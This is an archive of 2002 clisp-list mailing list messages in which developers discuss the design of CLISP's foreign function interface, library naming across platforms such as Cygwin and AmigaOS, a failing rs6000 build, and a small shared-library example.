> There's also no DEF-LIB-CALL-IN.
> However, one could have a few FOREIGN-LIBRARY-VARIABLE (one or two of of them are useful on AmigaOS).
> 
> AllegroCL has only a single ff:def-foreign-call. It doesn't even mention the 
> library! Looks nice. But I guess this is because they add all the library's 
> symbols to their lisp.run binary (like CMUCL did at the time I looked at it), 
> which is not portable (think about MS-Windows), or perhaps because they 
> internally sequentially walk through all open libraries, querying them for the 
> symbol, which I won't accept (it's not deterministic from a single library 
> provider's point of view: if I want "compress" from zlib, I shall get exactly 
> that one, and such a query interface is not available on AmigaOS).

hmm. corman lisp reinit's all foreign variables and function pointers from all
library names 
stored in the image on (load-image). there's no other way, and it's
deterministic if no 
libs or libpaths are broken. (like current path overrides) 
corman even uses foreign win32 functions during startup.

> II) referring to libraries, especially naming by a nickname. LispWorks calls 
> that modules. This may be useful because on all systems, the actual library name 
> (and path) will vary widely. So if you want to say
> (DEF-LIB-CALL-OUT compress "zlib" #) ; library by name
> you need something which will map "zlib" to "zlib.dll", "libz.so" or
> "cygz.dll" ; Cygwin name for zlib dll
> or even "/usr/lib/libz.so" or even #P"/usr/lib/libz.so" or some such.

same problem for the UFFI.
but I would suggest no nickname, only the common library substring.
eg. "z" for libz.so, cygz.dll, zlib.dll. or "jpeg" for /usr/lib/libjpeg.so
but one should be able to override the library name by explicitly giving the
full name.
("libz" or "/usr/lib/libz.so")
I think ACL does it this way. cygwin's dlopen() or the gcc linker for sure.

> Another open problem: How to recogize cygwin? It appears as #+UNIX, 
> but wants "cygz.dll" instead of > "libz.so" which I suppose works across several 
> systems (maybe only the dlopen() ones, not shl_load()).

So we must add a :CYGWIN feature then.

> maybe the best suggestion would be one about how I could express my ideas shortly :-)

Please not. I immensely prefer your long explanations.

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> * In message <20020424081326.GA11985@cam.ac.uk>
> * On the subject of "Re: [clisp-list] What causes hard exits from clisp?"
> * Sent on Wed, 24 Apr 2002 09:13:26 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> > > > e.g., set a break in fehler_funname_source() - you probably get there
> > > > just this once (or maybe not - in that case you have to count the
> > > > fehler_funname_source hits and set a delayed break).
> > > 
> > > Oh, I see. Ugggh. Um. The backtrace that I elided a couple of messages
> > > upthread has upwards of 1000 frames. And there were quite a few
> > > fehler_funname_source()s in there :-/ Looks like it's a long-term
> > > project...
> > 
> > there is something wrong here.
> > fehler_funname_source cannot call fehler_funname_source.
> 
> I've attached a slightly fuller backtrace from the CVS version of
> CLISP, compiled with ./configure --with-debug, on the same
> application. It crashes in the same place, from a user point of view,
> though the small-numbered stack frames in this backtrace are slightly
> different in the detail.
> 
> fehler_funname_source appears at frames 45, 80, and 115 of the
> attached (hmm, 35 frames..., yes, also 150 and 185)

fine.  please stop in an inner fehler_funname_source() and print all
arguments in all the 35 (hmm - please make it 70 - I want to know the
how the two adjacent periods differ) frames separating this
fehler_funname_source() and the one above (print objects with zout).

thanks.

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> * In message <DFD875E85664D3118FA6080006277DE7055A0B9D@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)"
> * Sent on Wed, 24 Apr 2002 10:39:06 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> The thing to remember is that CLISP will have different sorts of
> external functions: those coming from modules
> (#<ADD-ON-SYSTEM-FUNCTION COMMON-LISP-USER::FOREIGN-ADDRESS-FUNCTION>), 
> and those coming from new shared libraries
> (#<FOREIGN-FUNCTION "compress" #x100018F0>).

are these truly different objects?
are you sure both are truly needed?
I thought that the DLL FFI will make the current module facility DLL
based too, i.e., while now modules create their own lisp.run by linking
lisp.a with their *.o files, the new modules will compile to *.so
(*.dll) and load them from the lisp code.

> DEF-CALL-OUT could be made to macroexpand differently depending on
> whether some options are present or not, e.g. introduce a (:library
> foo) option.
yes!

> My preference is to go for DEF-LIB-CALL-OUT or similar, because
>  1) it's already there for the Amiga
>  2) the macroexpansion for modules and for libraries is rather different.
>  3) the exact format of foo in (:library foo) is obscure (see below point II).

I abhor the "many names" approach.
Inter alia it makes it harder to write macros which expand to other
macros.
I prefer few calls taking many arguments to many calls taking few
arguments.  Note that CL has one DEFSTRUCT instead of
DEFSTRUCT-WITH-BOA, DEFSTRUCT-WITH-PRINT-FUNCTION,
DEFSTRUCT-WITH-METACLASS &c.
Similarly, I want DEF-CALL-OUT with many options, some of which may be
required, instead of DEF-C-CALL-OUT, DEF-LIB-CALL-OUT,
DEF-LIB-C-CALL-OUT, DEF-LIB-STDCALL-CALL-OUT &c.

> Sometimes, I feel I'm investing too much thought in rather low-level
> issues few people actually care about. Worse is better may just mean:
> the current scheme (referring to library by its base pointer) works,
> so it is enough.
fine.

> Another open problem: How to recogize cygwin?

I can add :CYGWIN to *FEATURES* if that is what people want.

> (defvar *zlib-path*
>   (or #+WIN32 "zlib.dll"
>       ;; TODO how to deal with cygwin (#+UNIX on MS-Windows)? -- it wants "cygz.dll"
>       #+UNIX "libz.so"
>       #+AMIGA "zlib.library"
>   )
>   "Set this variable to point to the location of the zlib library
> (libz.so or zlib.dll) on your system.")
> is what people are used to. Cygwin users will have to overide
>   this. HP-UX users probably also.

is this the only place where #+CYGWIN is useful?
then it's not worth it!

> There's no need for me to imagine yet another half-working
> (i.e. broken) "try to find name automatically" heuristic.
yes.


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I could think of a few places where having a cygwin feature would be
helpful.  Currently, my cygwin
build has no indication as to what environment it is running in.  There
are certain pathname
translation functions in the cygwin dll that are sometimes usefull.
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> * In message <3CC6C09C.77A88294@ieee.org>
> * On the subject of "[clisp-list] Cygwin feature"
> * Sent on Wed, 24 Apr 2002 08:26:36 -0600
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> I could think of a few places where having a cygwin feature would be
> helpful.  Currently, my cygwin build has no indication as to what
> environment it is running in.  There are certain pathname translation
> functions in the cygwin dll that are sometimes usefull.  Dan Stanger

what does (software-version) say?

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Hi,

On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote:

> I thought that the DLL FFI will make the current module facility DLL
> based too, i.e., while now modules create their own lisp.run by linking
> lisp.a with their *.o files, the new modules will compile to *.so
> (*.dll) and load them from the lisp code.
> 

You don't need this at all with the new FFI.  Why would you want to
compile a monolithic (for example) linux.lisp when you can dynamically
(and selectively) define the foreign functions which you will be
needing.  Why do you need a .so when you can define your functions in
_lisp_?  What on earth do you need to fiddle with a module .so when
you have /libc/libc.so.6?

There are currently two (IMO) quite different ways of making use of
Clisp's module facilty:

1) compiling ffi definitions to a .c file (stage 1) which gets
compiled (usually through clisp-link) to .o (stage 2) and linked to a
new lisp.run (stage 3)

2) hand coded .d modules which can be integrated into the clisp build
process by adding them to modules.h .  dynload.d and ffimext.d are
examples.

With the new FFI, the need for (1) above falls away.  It will still be
useful to be able to do (2).  And the ability to produce .c files
(stage 1) in (1) above is still useful in helping to automate (2).

You don't need to compile modules to .so files.  These files already
exist on the system, and you can dynamically create functions _in the
running lisp_ which call into them.  There will normally be no need
for the user to compile to c files at all.

Regards,
Peter



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Sam Steingold wrote:
> Similarly, I want DEF-CALL-OUT with many options, some of which may be
> required, instead of DEF-C-CALL-OUT, DEF-LIB-CALL-OUT,
> DEF-LIB-C-CALL-OUT, DEF-LIB-STDCALL-CALL-OUT &c.

Can you live with
(DEF-CALL-OUT FOO
  (:name "compress")
  (:library *zlib*) ; This and only this option gets evaluated...
  (:return-type ...))
I can come up with that (implementing *FOREIGN-LIBRARIES* list, somewhat different from the list the Amiga has) in the future. Then the library name can be a string (nickname), like with Amiga's DEF-LIB-CALL-OUT. With strings, nobody will care whether this is evaluated or not.
It's more work. This is not ready yet.



> I thought that the DLL FFI will make the current module facility DLL
> based too, i.e., while now modules create their own lisp.run by linking
> lisp.a with their *.o files, the new modules will compile to *.so
> (*.dll) and load them from the lisp code.
This might work on UNIX only.

I believe that what you describe is already there for UNIX systems: SYS::DYNLOAD-MODULES is in pathname.d. It's not documented for whatever reason.

On other systems, a .dll is its own binary, may have an own process space and whatever. It is not an incomplete object which needs to be linked against something to come to life. It's not an .so.

Modules are a portable way to write extensions to CLISP in C. It works on any platform which can build CLISP.
Building a .so or .dll is not portable. The C code becomes cluttered with lots of [WINAPI] __export _SYSCALL _CDECL I don't know about. It might not be available on any platform that CLISP supports.

Current modules are as distinct from shared libraries as libtool modules from shared libraries. Like CLISP modules, they have a special structure and some special identifiers not found in any other arbitrary .so.

There are other differences.
Module's functions are reactivated when a Lisp session is resumed. FFI objects are dead.
Modules can access Lisp objects. The FFI cannot.
Modules present an API based on CLISP's "object model", shared libraries one based on the C model.


Could you describe how regexp could be turned into a .so on UNIX? Maybe the UNIX link-kit script could provide the choice to create an .so instead of a .o?
Probably somebody there has already done that? E.g. whoever wrote dynload-modules (Eric Marsden?)

Is there a ready-made regexp.so found on e.g. Linux distributions? (Isn't regexp part of the Linux libc.a?)


> is this the only place where #+CYGWIN is useful?
> then it's not worth it!
I have no opinion on that.

I realized UFFI has an interesting FIND-FOREIGN-LIBRARY which might work in all cases:
http://uffi.med-info.com/manual/r1520.htm
I believe it will look for a mix of a given set of names (e.g. "zlib" "cygz" "libz") and a given set of types (e.g. "so" "dll") and take the first it finds.

Today, I recommended something like this on the UFFI mailing list:
(defvar uffi::*default-lib-types*
 '( #+(and CLISP WIN32) "dll"
    #+(and CLISP UNIX) "so"
    #+(and CLISP UNIX) "dll" ; for cygwin
    #+(and CLISP UNIX) xyz ; for HP-UX
    ... for whatever 30 systems CLISP runs on.
    #+(and CLISP AMIGA) "library"
))


> I abhor the "many names" approach.
I tend to dislike too much polymorphism as exhibited in UNIX' ioctl() or setsockopt(). Some people find it cool that open/close/read/write/ioctl is all you need on UNIX. I don't. It is appealing, though.

Regards,
	Jorg Hohle.


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Hi,
On Wed, Apr 24, 2002 at 01:21:29PM +0000, Reini Urban wrote:

>  hmm. corman lisp reinit's all foreign variables and function
> pointers from all library names stored in the image on
> (load-image). there's no other way, and it's deterministic if no
> libs or libpaths are broken. (like current path overrides) corman
> even uses foreign win32 functions during startup.

Corman Lisp only has to deal with win32.  It gets hairier when you
have to deal with a number of different platforms, some of which may
be inconsistent in where they put libs.

I think reinit should be up to the user.  Its an issue which is far too
system and machine-instance specific to reliably automate portably.

zlib can be in *lots* of different places.  In fact it can be anywhere.

Regards,
Peter


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> * In message <DFD875E85664D3118FA6080006277DE7058225F9@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] critique of default-foreign-language"
> * Sent on Wed, 24 Apr 2002 12:32:29 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> My summary is: the current implementation of default-foreign-language
> makes simple things look simple, but complex things unpredictably
> broken.
> 
> I'll try the "show by example" approach. Consider:
> 
> (DEFAULT-FOREIGN-LANGUAGE :stdc)
> (def-call-out foo ...)
> (def-call-out bar ...)
> 
> (def-c-var callback-pointer (:name "ffi_user_pointer")
>   (:type (c-function (:arguments (data c-pointer)) (:return-type int))))
> 
> (defun set-callback-1arg (fun)
>   ;; symbol-macro on foreign-variable
>   (setf callback-pointer fun))
> 
> (defun set-callback-2arg (fun)
>   (setf (cast callback-pointer
> 	      '(c-function (:arguments (data c-pointer) (more-data uint)) (:return-type int)))
> 	fun)
> 
> Observations:
> a) the programmer gets used not to state :language in foreign function
> type declarations.
> 
> b) CLISP makes no guarantees of any sort as to what gets parsed (->
> set in stone) when. I distinguish compile-time, load-time and
> run-time.
> 
> Analysis:
> i) callback-1arg works. PARSE-C-TYPE on the callback pointer has been called at load-time, in which the DEFAULT-FOREIGN-LANGUAGE was bound.
> ii) callback-2arg can break. It produces different functions, depending on the user's settings or previously loaded or executed code!
> 
> This is because PARSE-C-TYPE is called at run-time there, as opposed
> to load-time (or compilation-time).

actually, in this particular case, there is no reason not to call
PARSE-C-TYPE at macroexpansion time e.g., 

  (defmacro offset (place offset type &environment env)
    (setq place (macroexpand place env))
    (if (foreign-place-p place 'FOREIGN-VALUE)
      `(FOREIGN-VALUE (%OFFSET ,(second place) ,offset ,(M-PARSE-C-TYPE type)))
      (err `(offset ,place ,offset ,type))))

  (defmacro M-PARSE-C-TYPE (type)
    (if (constantp type) (PARSE-C-TYPE (eval type)) `(PARSE-C-TYPE ,type)))

(or see below).
      
> So my summary is: the current implementation of
> default-foreign-language makes simple things look simple, but complex
> things dangerous. That's not what I expect from Lisp.

I see your point now.
Nevertheless, I do not think that your remedy is any good.
You will just shift the confusion in a different direction: the users
will have to constantly think of using the right call (DEF-C-CALL-OUT or
DEF-STDC-CALL-OUT or DEF-STDC-STDCALL-CALL-OUT &c) or adding the right
:LANGUAGE arguments everywhere.
Another thing is: suppose the library he is interfacing with was
recompiled with a different calling convention.
Then he would have to go over _all_ his code and replace all
DEF-STDC-STDCALL-CALL-OUT with DEF-STDC-CALL-OUT or modify all his
:LANGUAGE arguments.

That's not what I expect from Lisp.

The remedy I would prefer is

1. telling the users that DEFAULT-FOREIGN-LANGUAGE is for compilation
   units and should _never_ be used at top-level (except by gurus :-).

2. moving most type parsing to the macroexpansion time and thus fixing
   your problem with "breaking complex things": if we do
           (defmacro c-function (&whole form) `(parse-c-type ,form))
   similar to
           (defmacro lambda (&whole form) `(function form))
   we will have all constant types parsed at compile time.

3. when the type is non-constant, we should require :LANGUAGE argument
   anyway, whether by using separate forms or requiring it explicitly,
   and I prefer the latter.

Actually, is it possible to extract the calling convention from the
library (foo.so) itself?  Then all this would be much easier.

   
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> * In message <20020424163620.B342@localhost.localdomain>
> * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)"
> * Sent on Wed, 24 Apr 2002 16:36:20 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote:
> 
> > I thought that the DLL FFI will make the current module facility DLL
> > based too, i.e., while now modules create their own lisp.run by linking
> > lisp.a with their *.o files, the new modules will compile to *.so
> > (*.dll) and load them from the lisp code.
> 
> You don't need this at all with the new FFI.  Why would you want to
> compile a monolithic (for example) linux.lisp when you can dynamically
> (and selectively) define the foreign functions which you will be
> needing.  Why do you need a .so when you can define your functions in
> _lisp_?  What on earth do you need to fiddle with a module .so when
> you have /libc/libc.so.6?

I was talking about the case when _you_ write something in C _yourself_
and want to call that from Lisp.  when you are using a pre-built DLL,
there is obviously no C from our side involved.


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On Wed, Apr 24, 2002 at 06:43:49AM -0700, noreply@sourceforge.net wrote:
> Patches item #548089, was opened at 2002-04-24 15:43
> You can respond by visiting: 
> http://sourceforge.net/tracker/?func=detail&atid=301355&aid=548089&group_id=1355
> 

Hi,

I couldn't find this patch at sourceforge.  It lists 0 open patches.
Joerg, why did you stop sending patches to the list?

Regards,
Peter


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> * In message <DFD875E85664D3118FA6080006277DE705822668@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name"
> * Sent on Wed, 24 Apr 2002 16:55:20 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> > Similarly, I want DEF-CALL-OUT with many options, some of which may be
> > required, instead of DEF-C-CALL-OUT, DEF-LIB-CALL-OUT,
> > DEF-LIB-C-CALL-OUT, DEF-LIB-STDCALL-CALL-OUT &c.
> 
> Can you live with
> (DEF-CALL-OUT FOO
>   (:name "compress")
>   (:library *zlib*) ; This and only this option gets evaluated...
>   (:return-type ...))

looks good; that's what we have now.

> Could you describe how regexp could be turned into a .so on UNIX?
> Maybe the UNIX link-kit script could provide the choice to create an
> .so instead of a .o?  Probably somebody there has already done that?

regexp is a part of the POSIX standard and thus must be present in
every libc.

> Is there a ready-made regexp.so found on e.g. Linux distributions?
> (Isn't regexp part of the Linux libc.a?)

yes, regexp is in glibc.
this brings this to mind - did you submit your regex.c patch to the
glibc people?  I want to use the glibc regex.c in clisp, dumping the
8-years old version we have right now for the brand new glibc 2.5 one.
You needed some changes, and, since, I do not want to maintain a fork,
I asked you to get the patch into the main glibc distribution.

> > I abhor the "many names" approach.

> I tend to dislike too much polymorphism as exhibited in UNIX' ioctl()
> or setsockopt(). Some people find it cool that
> open/close/read/write/ioctl is all you need on UNIX. I don't. It is
> appealing, though.

this is Lisp, not C!
Look at DEFSTRUCT and DEFCLASS!
Adding a new option is less stress than adding a new call, so, for the
benefit of future modifications, _please_ keep the number of calls you
define to a minimum and move everything to arguments (like we talked
about REGISTER-FOREIGN -VARIABLE/-FUNCTION - this should be _one_ call).

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> * In message <20020424165915.A513@localhost.localdomain>
> * On the subject of "[clisp-list] Re: [ clisp-Patches-548089 ] FOREIGN-FUNCTION+VARIABLE for everybody"
> * Sent on Wed, 24 Apr 2002 16:59:15 +0200
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>
> On Wed, Apr 24, 2002 at 06:43:49AM -0700, noreply@sourceforge.net wrote:
> > Patches item #548089, was opened at 2002-04-24 15:43
> > You can respond by visiting: 
> > http://sourceforge.net/tracker/?func=detail&atid=301355&aid=548089&group_id=1355
> 
> I couldn't find this patch at sourceforge.  It lists 0 open patches.
I checked it in and closed it.

> Joerg, why did you stop sending patches to the list?
because patches can be large and SF is the proper place for them.

OTOH, if people prefer, <clisp-devel> (_not_ <clisp-list>!) may be used
for the patches instead of the SF.

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./configure bin finishs like that:  is it normal ?

gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o 
avcall-rs6000-sysv4.o
avcall-rs6000.c:3:Expected comma after segment-name
avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( ).
avcall-rs6000.c:5:Unknown pseudo-op: .type
avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95 (_).
avcall-rs6000.c:5:Invalid mnemonic 'function'
avcall-rs6000.c:7:Unknown pseudo-op: .extern
avcall-rs6000.c:7:Rest of line ignored. 1st junk character valued 95 (_).
avcall-rs6000.c:8:Unknown pseudo-op: .extern
avcall-rs6000.c:8:Rest of line ignored. 1st junk character valued 95 (_).
avcall-rs6000.c:9:Unknown pseudo-op: .extern
avcall-rs6000.c:9:Rest of line ignored. 1st junk character valued 95 (_).
avcall-rs6000.c:10:Unknown pseudo-op: .extern
avcall-rs6000.c:10:Rest of line ignored. 1st junk character valued 
95 (_).
avcall-rs6000.c:11:Unknown pseudo-op: .extern
avcall-rs6000.c:11:Rest of line ignored. 1st junk character valued 
95 (_).
avcall-rs6000.c:12:Unknown pseudo-op: .extern
avcall-rs6000.c:12:Rest of line ignored. 1st junk character valued 
95 (_).
avcall-rs6000.c:13:Parameter syntax error (parameter 1)
avcall-rs6000.c:14:Parameter syntax error (parameter 1)
avcall-rs6000.c:15:Parameter syntax error (parameter 1)
avcall-rs6000.c:16:Parameter syntax error (parameter 1)
avcall-rs6000.c:17:Parameter syntax error (parameter 1)
avcall-rs6000.c:18:Parameter syntax error (parameter 1)
avcall-rs6000.c:19:Parameter syntax error (parameter 1)
avcall-rs6000.c:20:Parameter syntax error (parameter 1)
avcall-rs6000.c:21:Parameter syntax error (parameter 1)
avcall-rs6000.c:22:Parameter syntax error (parameter 1)
avcall-rs6000.c:23:Parameter syntax error
avcall-rs6000.c:25:Parameter syntax error (parameter 1)
avcall-rs6000.c:26:Parameter syntax error (parameter 1)
avcall-rs6000.c:27:Parameter syntax error (parameter 1)
avcall-rs6000.c:29:Parameter syntax error (parameter 1)
avcall-rs6000.c:30:Parameter syntax error (parameter 1)
avcall-rs6000.c:31:Parameter syntax error (parameter 1)
avcall-rs6000.c:32:Parameter syntax error (parameter 1)
avcall-rs6000.c:33:Parameter syntax error (parameter 1)
avcall-rs6000.c:36:Parameter syntax error (parameter 1)
avcall-rs6000.c:37:Parameter syntax error (parameter 1)
avcall-rs6000.c:38:Parameter syntax error (parameter 1)
avcall-rs6000.c:39:Parameter syntax error (parameter 1)
avcall-rs6000.c:41:Parameter syntax error
avcall-rs6000.c:43:Parameter syntax error
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avcall-rs6000.c:65:Parameter syntax error (parameter 1)
avcall-rs6000.c:67:Parameter syntax error (parameter 1)
avcall-rs6000.c:69:Parameter syntax error (parameter 1)
avcall-rs6000.c:71:Parameter syntax error (parameter 1)
avcall-rs6000.c:73:Parameter syntax error (parameter 1)
avcall-rs6000.c:75:Parameter syntax error (parameter 1)
avcall-rs6000.c:77:Parameter syntax error (parameter 1)
avcall-rs6000.c:79:Parameter syntax error (parameter 1)
avcall-rs6000.c:81:Parameter syntax error (parameter 1)
avcall-rs6000.c:83:Parameter syntax error (parameter 1)
avcall-rs6000.c:85:Parameter syntax error (parameter 1)
avcall-rs6000.c:87:Parameter syntax error (parameter 1)
avcall-rs6000.c:89:Parameter syntax error (parameter 1)
avcall-rs6000.c:91:Parameter syntax error (parameter 1)
avcall-rs6000.c:92:Parameter syntax error (parameter 1)
avcall-rs6000.c:93:Parameter syntax error (parameter 1)
avcall-rs6000.c:94:Parameter syntax error (parameter 2)
avcall-rs6000.c:95:Parameter syntax error (parameter 1)
avcall-rs6000.c:96:Parameter syntax error (parameter 1)
avcall-rs6000.c:97:Parameter syntax error (parameter 1)
avcall-rs6000.c:98:Parameter syntax error (parameter 1)
avcall-rs6000.c:99:Parameter syntax error (parameter 1)
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avcall-rs6000.c:127:Parameter syntax error (parameter 1)
avcall-rs6000.c:128:Parameter syntax error
avcall-rs6000.c:130:Parameter syntax error
avcall-rs6000.c:132:Parameter syntax error (parameter 1)
avcall-rs6000.c:133:Parameter syntax error (parameter 1)
avcall-rs6000.c:134:Parameter syntax error (parameter 1)
avcall-rs6000.c:137:Parameter syntax error
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avcall-rs6000.c:140:Parameter syntax error (parameter 1)
avcall-rs6000.c:143:Parameter syntax error
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avcall-rs6000.c:148:Parameter syntax error (parameter 1)
avcall-rs6000.c:150:Parameter syntax error (parameter 1)
avcall-rs6000.c:151:Parameter syntax error
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avcall-rs6000.c:155:Parameter syntax error (parameter 1)
avcall-rs6000.c:158:Parameter syntax error
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avcall-rs6000.c:169:Parameter syntax error (parameter 1)
avcall-rs6000.c:172:Parameter syntax error
avcall-rs6000.c:174:Parameter syntax error (parameter 1)
avcall-rs6000.c:175:Parameter syntax error (parameter 1)
avcall-rs6000.c:176:Parameter syntax error (parameter 1)
avcall-rs6000.c:177:Parameter syntax error (parameter 1)
avcall-rs6000.c:178:Parameter syntax error (parameter 1)
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avcall-rs6000.c:182:Parameter syntax error (parameter 1)
avcall-rs6000.c:183:Parameter syntax error (parameter 1)
avcall-rs6000.c:184:Parameter syntax error (parameter 1)
avcall-rs6000.c:186:Parameter syntax error (parameter 1)
avcall-rs6000.c:188:Parameter syntax error (parameter 1)
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avcall-rs6000.c:190:Parameter syntax error (parameter 1)
avcall-rs6000.c:191:Parameter syntax error (parameter 1)
avcall-rs6000.c:192:Parameter syntax error (parameter 1)
avcall-rs6000.c:196:Parameter syntax error (parameter 1)
avcall-rs6000.c:198:Parameter syntax error (parameter 1)
avcall-rs6000.c:199:Parameter syntax error
avcall-rs6000.c:202:Parameter syntax error (parameter 1)
avcall-rs6000.c:203:Parameter syntax error (parameter 1)
avcall-rs6000.c:206:Parameter syntax error
avcall-rs6000.c:209:Parameter syntax error (parameter 1)
avcall-rs6000.c:210:Parameter syntax error (parameter 1)
avcall-rs6000.c:213:Parameter syntax error
avcall-rs6000.c:216:Parameter syntax error (parameter 1)
avcall-rs6000.c:217:Parameter syntax error (parameter 1)
avcall-rs6000.c:220:Parameter syntax error
avcall-rs6000.c:223:Parameter syntax error (parameter 1)
avcall-rs6000.c:224:Parameter syntax error (parameter 1)
avcall-rs6000.c:225:Parameter syntax error (parameter 1)
avcall-rs6000.c:226:Parameter syntax error (parameter 1)
avcall-rs6000.c:228:Parameter syntax error (parameter 1)
avcall-rs6000.c:229:Parameter syntax error (parameter 1)
avcall-rs6000.c:230:Parameter syntax error (parameter 2)
avcall-rs6000.c:231:Parameter syntax error (parameter 1)
avcall-rs6000.c:232:Parameter syntax error (parameter 1)
avcall-rs6000.c:235:Unknown pseudo-op: .size
avcall-rs6000.c:235:Rest of line ignored. 1st junk character valued 
95 (_).
avcall-rs6000.c:236:Unknown pseudo-op: .ident
avcall-rs6000.c:236:Rest of line ignored. 1st junk character valued 
34 (").
cp: avcall-rs6000-sysv4.lo: No such file or directory
rm -f avcall.lo avcall.o
ln avcall-rs6000.lo avcall.lo
ln: avcall-rs6000.lo: No such file or directory
make: *** [avcall.lo] Erreur 1

To continue building CLISP, the following commands are recommended
(cf. unix/INSTALL step 4):
     cd bin
     ./makemake  --with-readline --with-gettext > Makefile
     make config.lisp
     vi config.lisp
     make
     make check



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On Wednesday 24 Apr 2002 4:47 pm, you wrote:
> ./configure bin finishs like that:  is it normal ?

No. avcall-rs6000-sysv4.s is the correct assembler, just the wrong syntax, 
and gas is choking on it. I have a similar problem with HPUX+HP assembler and 
Linux/hppa+gas. It shouldn't be too hard to fix. Fixing the hppa build is on 
my list but not for two weeks.


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Sam,

I know you're not asking me, but I had to try this on the Windows 
stand-alone build I'm currently running (2.28) to see what it gave:

[1]> (SOFTWARE-VERSION)
"C compiler"


Based on the results from (apropos "version"), I tried these as well:


[2]> (LISP-IMPLEMENTATION-VERSION)
"2.28 (released 2002-03-03) (built on ampy.LAIR [192.168.0.1])"

[3]> (MACHINE-VERSION)
"PC/686"

[4]> (SYSTEM::VERSION)
(20020129)


The return from (SOFTWARE-VERSION) seems kind of non-specific, doesn't it? 
It also seems to me to be an odd answer to a query named "software-version".


By the way, Dan, I use Cygwin extensively, so the Cygwin version would 
interest me greatly. I don't doubt the Cygwin principals would accept a 
CLISP package into the Cygwin contributed software.


Randall Schulz
Mountain View, CA USA


At 07:42 2002-04-24, Sam Steingold wrote:
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> > * On the subject of "[clisp-list] Cygwin feature"
> > * Sent on Wed, 24 Apr 2002 08:26:36 -0600
> > * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
> >
> > I could think of a few places where having a cygwin feature would be
> > helpful.  Currently, my cygwin build has no indication as to what
> > environment it is running in.  There are certain pathname translation
> > functions in the cygwin dll that are sometimes usefull.  Dan Stanger
>
>what does (software-version) say?
>
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On Wed, Apr 24, 2002 at 11:12:42AM -0400, Sam Steingold wrote:
> > * In message <20020424163620.B342@localhost.localdomain>
> > * On the subject of "Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language)"
> > * Sent on Wed, 24 Apr 2002 16:36:20 +0200
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > On Wed, Apr 24, 2002 at 09:39:39AM -0400, Sam Steingold wrote:
> > 
> > > I thought that the DLL FFI will make the current module facility DLL
> > > based too, i.e., while now modules create their own lisp.run by linking
> > > lisp.a with their *.o files, the new modules will compile to *.so
> > > (*.dll) and load them from the lisp code.
> > 
> > You don't need this at all with the new FFI.  Why would you want to
> > compile a monolithic (for example) linux.lisp when you can dynamically
> > (and selectively) define the foreign functions which you will be
> > needing.  Why do you need a .so when you can define your functions in
> > _lisp_?  What on earth do you need to fiddle with a module .so when
> > you have /libc/libc.so.6?
> 
> I was talking about the case when _you_ write something in C _yourself_
> and want to call that from Lisp.  when you are using a pre-built DLL,
> there is obviously no C from our side involved.

Hi

If you are already writing it in C, then you can just compile it as a
shared object library and write a lisp-side defun:

/*hello.c*/
#include <stdio.h>

int greet (char *who) {
  int n;
  n = printf("Hello, %s!\n", who);
  return (n);
}
/*end*/

compile:

bash-2.04$ gcc -fPIC -c hello.c
bash-2.04$ gcc -shared -Wl,-soname,libhello.so.l -o libhello.so.1.0.1 hello.o -lc

bash-2.04$ ./lisp.run -q -M lispinit.mem 
;; Loading file /home/prw/.clisprc ...
;; Loading of file /home/prw/.clisprc is finished.
[1]> (load #"/home/prw/lisp/Linux/libc.lisp")
;; Loading file /home/prw/lisp/Linux/libc.lisp ...
;; Loading of file /home/prw/lisp/Linux/libc.lisp is finished.
T
[2]> (setf c::*base* (user::foreign-library "/home/prw/libhello.so.1.0.1"))
#<FOREIGN-POINTER #x08266A10>
[3]> (c::deffun "greet" ((who ffi:c-string)) (ffi:int))
GREET
[4]> (greet "Sam")
Hello, Sam!
12
[5]> (greet "clisp-list")
Hello, clisp-list!
19
[6]> (quit)

Or did you mean something completely different?

Regards,
Peter


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> * In message <96B25DCA-579A-11D6-A63A-00039358C69A@iFrance.com>
> * On the subject of "[clisp-list] installing clisp"
> * Sent on Wed, 24 Apr 2002 17:47:31 +0200
> * Honorable Thomas De=A0Contes <pri.deContes@iFrance.com> writes:
>
> ./configure bin finishs like that:  is it normal ?
>=20
> gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o
> avcall-rs6000-sysv4.o
> avcall-rs6000.c:3:Expected comma after segment-name
 ....
> make: *** [avcall.lo] Erreur 1
>=20
> To continue building CLISP, the following commands are recommended
> (cf. unix/INSTALL step 4):
>      cd bin
>      ./makemake  --with-readline --with-gettext > Makefile
>      make config.lisp
>      vi config.lisp
>      make
>      make check

this means that FFI on your platform is broken.
that's okay, the rest of CLISP should work fine.
follow the instructions.

--=20
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> * In message <5.1.0.14.2.20020424084257.027689b8@pop3.cris.com>
> * On the subject of "Re: [clisp-list] Cygwin feature"
> * Sent on Wed, 24 Apr 2002 09:00:24 -0700
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>
> I know you're not asking me, but I had to try this on the Windows
> stand-alone build I'm currently running (2.28) to see what it gave:
> 
> [1]> (SOFTWARE-VERSION)
> "C compiler"

on cygwin it should be more specific.

> By the way, Dan, I use Cygwin extensively, so the Cygwin version would
> interest me greatly. I don't doubt the Cygwin principals would accept
> a CLISP package into the Cygwin contributed software.

that would be great!
who volunteers to submit CLISP to them?

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> * In message <20020424192547.A215@localhost.localdomain>
